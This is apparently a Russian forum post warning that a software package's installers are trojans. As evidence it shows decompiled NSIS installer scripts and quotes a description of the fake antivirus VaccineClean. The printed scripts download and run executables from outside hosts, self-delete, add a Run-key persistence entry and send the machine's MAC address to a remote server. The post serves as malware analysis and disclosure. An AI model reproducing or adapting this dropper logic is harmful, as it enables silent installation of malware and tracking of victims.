Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 1125 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Return
SetFlag 13 651
StrCmp "$PLUGINSDIR" "" 0 1141 0
Push $0
SetFlag 2 0
GetTempFileName $TEMP
Delete 8 $0
SetOutPath $0
IfFlag 1142 0 2 0
StrCpy $PLUGINSDIR "$0"
Pop $0
Return
MessageBox 2097168 4866 0 0 0
Quit
Return
[/more]/ Каждый из которых сам по себе загрузчик другого приложения - [more=vaccineclean]SetFlag 8 74
Call 64
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetSystemDefaultLangID() i .r0
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 64
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetLocaleInfoA(i 1024, i 0x4, t .r1, i 1024) i r0
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 64
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetLocaleInfoA(i 1024, i 0x8, t .r2, i 1024) i r0
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 64
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetLocaleInfoA(i 1024, i 0x2, t .r3, i 1024) i r0
RegisterDLL $PLUGINSDIR\System.dll Call 0
StrCmp "$1" "Çѱ¹¾î" 29 23 0
Abort
Call 64
File $PLUGINSDIR\SelfDelete.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\SelfDelete.dll SelfDelete 0
Quit
StrCpy $[35] "http://down.vaccineclean.com/app/partner_2010/vaccineclean_process_s_norun.exe"
StrCpy $[36] "vaccineclean_pandora.exe"
Call 64
File $PLUGINSDIR\StringFind.dll
SetFlag 13 0
Push /S
Push $CMDLINE
RegisterDLL $PLUGINSDIR\StringFind.dll StringCmp 0
Pop $0
StrCmp "$0" "true" 39 40 0
StrCpy $[37] "/S"
Call 64
File $PLUGINSDIR\StringFind.dll
SetFlag 13 0
Push /s
Push $CMDLINE
RegisterDLL $PLUGINSDIR\StringFind.dll StringCmp 0
Pop $0
StrCmp "$0" "true" 48 49 0
StrCpy $[37] "/S"
Return
Call 64
SetFlag 13 0
Call 64
File $PLUGINSDIR\FILEDownPlug.dll
SetFlag 13 0
Push $PLUGINSDIR\$[36]
Push $[35]
RegisterDLL $PLUGINSDIR\FILEDownPlug.dll DownLoad 0
Execute 552 0 0
Call 64
File $PLUGINSDIR\SelfDelete.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\SelfDelete.dll SelfDelete 0
Return
SetFlag 13 566
StrCmp "$PLUGINSDIR" "" 0 74 0
Push $0
SetFlag 2 0
GetTempFileName $TEMP
Delete 8 $0
SetOutPath $0
IfFlag 75 0 2 0
StrCpy $PLUGINSDIR "$0"
Pop $0
Return
MessageBox 2097168 576 0 0 0
Quit
Return
[/more], либо утилита троян удалённого управления - [more=Keyword]SendMessage $[32] 0x000C 4582 -38
SendMessage $[34] 0x000C 4582 -39
Return
FindWindow 44 4599 0 4606 0
GetDlgItem $[45] $[44] 1040
GetDlgItem $[46] $[44] 1006
GetDlgItem $[47] $[44] 1000
SendMessage $[45] 0x000C 4582 -40
Return
Return
SendMessage $[32] 0x000C 4582 -41
SendMessage $[34] 0x000C 4582 -42
Return
FindWindow 48 4599 0 4606 0
GetDlgItem $[49] $[48] 1006
GetDlgItem $[50] $[48] 1004
GetDlgItem $[51] $[48] 1027
GetDlgItem $[52] $[48] 1016
Return
IfFlag 24 0 3 -1
SendMessage $[32] 0x000C 4582 -43
SendMessage $[34] 0x000C 4582 -44
Goto 26
SendMessage $[32] 0x000C 4582 -45
SendMessage $[34] 0x000C 4582 -46
IfFlag 27 0 3 -1
Return
Call 709
SetFlag 13 0
File $PLUGINSDIR\modern-wizard.bmp
SetFlag 0 4674
Return
GetFunctionAddress 0 0
ShowWindow 4676 4582
ShowWindow 4680 4582
ShowWindow 4584 4582
ShowWindow 4595 4582
ShowWindow 4684 4582
ShowWindow 4688 4582
ShowWindow 4692 4674
GetFunctionAddress 1 0
Return
GetFunctionAddress 0 0
ShowWindow 4676 4674
ShowWindow 4680 4674
ShowWindow 4584 4674
ShowWindow 4595 4674
ShowWindow 4684 4674
ShowWindow 4688 4674
ShowWindow 4692 4582
GetFunctionAddress 1 0
Return
SendMessage $[41] 0x000C 4582 -48
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push 1044
RegisterDLL $PLUGINSDIR\nsDialogs.dll Create 0
Pop $[53]
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -49
RegisterDLL $PLUGINSDIR\nsDialogs.dll SetRTL 0
SerCtlColors 4737 0 0
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push
Push 193u
Push 109u
Push 0u
Push 0u
Push 0
Push 0x40000000|0x10000000|0x04000000|0x0000000E|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[54]
Push $0
Push $1
Push $2
Push $R0
StrCpy $R0 "$[54]"
StrCpy $1 ""
StrCpy $2 ""
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *(i, i, i, i) i.s
RegisterDLL $PLUGINSDIR\System.dll Call 0
Pop $0
IntCmp $0 0 110 0 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push user32::GetClientRect(iR0, ir0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *$0(i, i, i .s, i .s)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $0
RegisterDLL $PLUGINSDIR\System.dll Free 0
Pop $1
Pop $2
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $PLUGINSDIR\modern-wizard.bmp
Push user32::LoadImage(i0, ts, i 0, ir1, ir2, i0x0010) i.s
RegisterDLL $PLUGINSDIR\System.dll Call 0
Pop $0
SendMessage $R0 0x0172 4582 4830
Pop $R0
Pop $2
Pop $1
Push $0
Exch
Pop $0
Pop $[55]
IfFlag 0 191 4 -1
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -50
Push 28u
Push 195u
Push 10u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[56]
SerCtlColors 5082 0 0
CreateFont 57 -51 5086 5089 0
SendMessage $[56] 0x0030 5093 4582
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -52
Push 40u
Push 195u
Push 45u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[58]
SerCtlColors 5112 0 0
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -53
Push 10u
Push 195u
Push 90u
Push 120u
Push 0
Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000009|0x00002000
Push BUTTON
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[60]
SerCtlColors 5215 0 0
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -54
Push 10u
Push 195u
Push 115u
Push 120u
Push 0
Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000009|0x00002000
Push BUTTON
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[61]
SerCtlColors 5224 0 0
SendMessage $[60] 0x00F1 4674 4582
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push user32::SetFocus(i$[60])
RegisterDLL $PLUGINSDIR\System.dll Call 0
Goto 221
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -50
Push 28u
Push 195u
Push 10u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[56]
SerCtlColors 5082 0 0
CreateFont 57 -51 5086 5089 0
SendMessage $[56] 0x0030 5093 4582
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -55
Push 130u
Push 195u
Push 45u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[58]
SerCtlColors 5112 0 0
Call 33
Call 709
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\nsDialogs.dll Show 0
Call 43
IntCmp $[55] 0 234 0 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $[55]
Push gdi32::DeleteObject(is)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Return
IfFlag 0 242 4 -1
SendMessage $[60] 0x00F0 4582 4582 $[5215]
IntCmp $[59] 1 0 241 241
Reboot
Quit
Goto 242
Return
Return
GetDlgItem $[32] $HWNDPARENT 1037
CreateFont 33 -51 -56 5089 0
SendMessage $[32] 0x0030 5312 4582
GetDlgItem $[34] $HWNDPARENT 1038
SerCtlColors 4584 0 0
SerCtlColors 4595 0 0
GetDlgItem $[35] $HWNDPARENT 1034
SerCtlColors 5326 0 0
GetDlgItem $[36] $HWNDPARENT 1039
SerCtlColors 4684 0 0
GetDlgItem $[38] $HWNDPARENT 1028
SerCtlColors 4676 24 0
GetDlgItem $[37] $HWNDPARENT 1256
SerCtlColors 4680 24 0
SendMessage $[37] 0x000C 4582 5345
GetDlgItem $[39] $HWNDPARENT 1035
GetDlgItem $[40] $HWNDPARENT 1045
GetDlgItem $[41] $HWNDPARENT 1
GetDlgItem $[42] $HWNDPARENT 2
GetDlgItem $[43] $HWNDPARENT 3
Call 28
Return
Return
Call 709
SetFlag 13 0
Call 709
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $PLUGINSDIR\instinfo.ini
Push
http://torangcomz.com/instinfo.php RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
ReadINIStr 66 5480 5489 5419
Push $CMDLINE
Call 278
Goto 308
Push $0
Exch
Pop $0
Push $1
Push $2
Push $3
StrCpy $1 "0"
StrCpy $3 ""
IntOp $1 $1 - 1
StrCpy $2 "$0" 1 $1
StrCmp "$2" "" 296 0 0
StrCmp "$2" "\" 296 0 0
StrCmp "$3" "noext" 286 0 0
StrCmp "$2" "." 0 286 0
StrCpy $0 "$0" $1
StrCpy $3 "noext"
StrCpy $1 "0"
Goto 286
StrCmp "$1" "-1" 300 0 0
IntOp $1 $1 + 1
StrCpy $0 "$0" "" $1
Goto 301
StrCpy $0 ""
Pop $3
Pop $2
Pop $1
Push $0
Exch
Pop $0
Return
Pop $1
StrCpy $[67] "kmadmin"
Return
SetOutPath $INSTDIR
StrCpy $R0 "1"
Goto 315
IntOp $R0 $R0 + 1
IntCmp $R0 $[66] 0 0 419
ReadINIStr 1 5548 5556 5419
ReadINIStr 2 5548 5564 5419
ReadINIStr 3 5548 5573 5419
ReadINIStr 4 5548 5582 5419
StrCmp "$3" "INSTDIR" 0 329 0
Call 709
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $INSTDIR\$2
Push $1
RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
StrCpy $5 "$INSTDIR\$2"
Goto 345
StrCmp "$3" "SYSDIR" 0 338 0
Call 709
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $SYSDIR\$2
Push $1
RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
StrCpy $5 "$SYSDIR\$2"
Goto 345
Call 709
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $PLUGINSDIR\$2
Push $1
RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
StrCpy $5 "$PLUGINSDIR\$2"
Sleep 4805
Push $2
Call 349
Goto 371
Push $0
Exch
Pop $0
Push $1
Push $2
StrCpy $1 "0"
IntOp $1 $1 - 1
StrCpy $2 "$0" 1 $1
StrCmp "$2" "" 364 0 0
StrCmp "$2" "\" 364 0 0
StrCmp "$2" "." 0 355 0
StrCmp "$1" "-1" 364 0 0
IntOp $1 $1 + 1
StrCpy $0 "$0" "" $1
Goto 365
StrCpy $0 ""
Pop $2
Pop $1
Push $0
Exch
Pop $0
Return
Pop $6
StrCmp "$6" "exe" 0 375 0
Execute 5637 0 0
Goto 416
StrCmp "$6" "dll" 0 416 0
RegisterDLL $5 DllRegisterServer 4294967239
Sleep 5667
RegisterDLL $5 DllRegisterServer 4294967239
StrCmp "$3" "INSTDIR" 0 416 0
Push $5
Call 383
Goto 415
Push $0
Exch
Pop $0
Push $1
Push $2
Push $3
Push $4
Push $5
Push $6
SetFlag 2 4582
GetDLLVersion 1 2 4830
IfFlag 403 0 2 0
IntOp $3 $1 12 16
IntOp $3 $3 & 0x0000FFFF
IntOp $4 $1 & 0x0000FFFF
IntOp $5 $2 12 16
IntOp $5 $5 & 0x0000FFFF
IntOp $6 $2 & 0x0000FFFF
StrCpy $0 "$3.$4.$5.$6"
Goto 405
SetFlag 2 4674
StrCpy $0 ""
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Push $0
Exch
Pop $0
Return
Pop $R1
Goto 314
Goto 314
Goto 419
WriteUninstaller $INSTDIR\uninstall.exe 56778 13956
WriteRegStr HKCU "SOFTWARE\Keyword Search" "PID" "$[67]"
Push
Push L
Call 425
Goto 594
Push $1
Exch
Pop $1
Exch
Push $0
Exch
Pop $0
Exch
Push $2
Push $3
Push $4
Push $5
Push $6
Push $7
SetFlag 2 4582
StrCmp "$1" "L" 465 0 0
StrCmp "$1" "A" 449 0 0
StrCmp "$1" "C" 449 0 0
StrCmp "$1" "M" 449 0 0
StrCmp "$1" "LS" 465 0 0
StrCmp "$1" "AS" 449 0 0
StrCmp "$1" "CS" 449 0 0
StrCmp "$1" "MS" 449 0 0
Goto 557
IfFileExists $0 0 557
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *(i,l,l,l,i,i,i,i,&t260,&t14) i .r6
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::FindFirstFileA(t,i)i(r0,r6) .r2
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::FindClose(i)i(r2)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *(&i2,&i2,&i2,&i2,&i2,&i2,&i2,&i2) i .r7
RegisterDLL $PLUGINSDIR\System.dll Call 0
StrCmp "$1" "L" 0 477 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetLocalTime(i)i(r7)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Goto 518
StrCmp "$1" "LS" 0 484 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetSystemTime(i)i(r7)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Goto 518
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *$6(i,l,l,l,i,i,i,i,&t260,&t14)i(,.r4,.r3,.r2)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $6
RegisterDLL $PLUGINSDIR\System.dll Free 0
StrCmp "$1" "A" 0 497 0
StrCpy $2 "$3"
Goto 508
StrCmp "$1" "C" 0 500 0
StrCpy $2 "$4"
Goto 508
StrCmp "$1" "M" 508 0 0
StrCmp "$1" "AS" 513 0 0
StrCmp "$1" "CS" 0 505 0
StrCpy $3 "$4"
Goto 513
StrCmp "$1" "MS" 0 508 0
StrCpy $3 "$2"
Goto 513
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::FileTimeToLocalFileTime(*l,*l)i(r2,.r3)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::FileTimeToSystemTime(*l,i)i(r3,r7)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *$7(&i2,&i2,&i2,&i2,&i2,&i2,&i2,&i2)i(.r5,.r6,.r4,.r0,.r3,.r2,.r1,)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $7
RegisterDLL $PLUGINSDIR\System.dll Free 0
IntCmp $0 9 0 0 530
StrCpy $0 "0$0"
IntCmp $1 9 0 0 532
StrCpy $1 "0$1"
IntCmp $2 9 0 0 534
StrCpy $2 "0$2"
IntCmp $6 9 0 0 536
StrCpy $6 "0$6"
StrCmp "$4" "0" 0 539 0
StrCpy $4 "Sunday"
Goto 565
StrCmp "$4" "1" 0 542 0
StrCpy $4 "Monday"
Goto 565
StrCmp "$4" "2" 0 545 0
StrCpy $4 "Tuesday"
Goto 565
StrCmp "$4" "3" 0 548 0
StrCpy $4 "Wednesday"
Goto 565
StrCmp "$4" "4" 0 551 0
StrCpy $4 "Thursday"
Goto 565
StrCmp "$4" "5" 0 554 0
StrCpy $4 "Friday"
Goto 565
StrCmp "$4" "6" 0 557 0
StrCpy $4 "Saturday"
Goto 565
SetFlag 2 4674
StrCpy $0 ""
StrCpy $1 ""
StrCpy $2 ""
StrCpy $3 ""
StrCpy $4 ""
StrCpy $5 ""
StrCpy $6 ""
Pop $7
Push $6
Exch
Pop $6
Exch
Push $5
Exch
Pop $5
Exch
Push $4
Exch
Pop $4
Exch
Push $3
Exch
Pop $3
Exch
Push $2
Exch
Pop $2
Exch
Push $1
Exch
Pop $1
Exch
Push $0
Exch
Pop $0
Return
Pop $0
Pop $1
Pop $2
Pop $3
Pop $4
Pop $5
Pop $6
WriteRegStr HKCU "SOFTWARE\Keyword Search" "instdate" "$2$1$0$4"
WriteRegStr HKCU "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "KeywordSearchUpdater" "$INSTDIR\KeywordSearchUpdater.exe"
WriteRegStr HKLM "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NS_LANG_CODE" "DisplayName" "-3"
WriteRegStr HKLM "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NS_LANG_CODE" "DisplayIcon" "$INSTDIR\uninstall.exe"
WriteRegStr HKLM "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NS_LANG_CODE" "UninstallString" "$INSTDIR\uninstall.exe"
WriteRegDWORD HKLM "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NS_LANG_CODE" "NoModify" "1"
WriteRegDWORD HKLM "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NS_LANG_CODE" "NoRepair" "1"
Call 618
Call 709
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $PLUGINSDIR\install.chk
Push
http://torangcomz.com/app_install.php?mac=$R0&ver=$R1&pid=$[67]
RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
DelReg 0 2147483649 6598 0
DelReg 0 2147483649 6731 0
Return
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push 4096
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $3
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push iphlpapi::GetAdaptersInfo(i r3r4, *l 4096 r2)i.r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
StrCmp "$1" "0" 0 647 0
StrCmp "$4" "0" 647 0 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *$4(i.r4,i,&t260.r5, &t132.r6, i.r7, l.r8)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 709
File $PLUGINSDIR\Math.dll
SetFlag 13 0
Push hex={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
RegisterDLL $PLUGINSDIR\Math.dll Script 0
Call 709
File $PLUGINSDIR\Math.dll
SetFlag 13 0
Push s=''; a=r8; b=r7; #{b-->0,s=s+hex[a/16%16]+hex[a%16]+#[b>0,'','']; a=a/256;}; r9=s;
RegisterDLL $PLUGINSDIR\Math.dll Script 0
Goto 630
StrCpy $R0 "$9"
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $3
RegisterDLL $PLUGINSDIR\System.dll Free 0
Call 709
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push 0
RegisterDLL $PLUGINSDIR\System.dll Free 0
Call 709
File $PLUGINSDIR\Math.dll
SetFlag 13 0
Push
RegisterDLL $PLUGINSDIR\Math.dll Script 0
Return
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
Invalid
SetFlag 13 4622
StrCmp "$PLUGINSDIR" "" 0 719 0
Push $0
SetFlag 2 0
GetTempFileName $TEMP
Delete 8 $0
SetOutPath $0
IfFlag 720 0 2 0
StrCpy $PLUGINSDIR "$0"
Pop $0
Return
MessageBox 2097168 7186 0 0 0
Quit
Return
[/more]
Посему, можете выбрать, что вам парни больше по душе - ждать официальной версии, либо получить все серию троянов. Например первый из них:
VaccineClean Цитата: VaccineClean description
VaccineClean is a malicious program presented as a malware remover. It imitates functions of a security tool in order to gain a purchase. Do not mistake Vaccine Clean for a real deal and remove it as soon as possible!
VaccineClean is able to fabricate various notification usually loaded by anti-virus or anti-spyware tools. Those include system scan reports, infection warnings and low security alerts. None of the warnings should be trusted since VaccineClean is not able to actually locate or delete a thing. It may interrupt work of regular security apps. Vaccine Clean may also redirect web browser to deceptive websites.
перевод:
Цитата: VaccineClean - описание
VaccineClean является вредоносной программой маскирующейся под антивирус. Он имитирует антивирус для стимуляции своей покупки. Не путайте его с реальным антивирусом, и удалите как можно скорее!
VaccineClean умеет имитировать различные уведомления которые обычно выводятся антивирусами или программами защиты от шпионов. Они включают проверку системы отчетов, предупреждений о заражении и оповещения о низкой безопасности. Ни одному из его предупреждений доверять не следует так как VaccineClean на самом деле не в состоянии найти или удалить вредоносный код. Зато он может прерывать работу настоящих средств безопасности. VaccineClean также может перенаправить веб-браузер на поддельный веб-сайт.
Второй троян немного иной - он ищет что у Вас плохо лежит и отсылает это своим хозяевам, плюс к тому ставит Вашу машину в ботнет.
Таких аргументов и доказательств в виде кода самих программ достаточно? Я просто декомпилировал установочные скрипты, выводы делаем сами.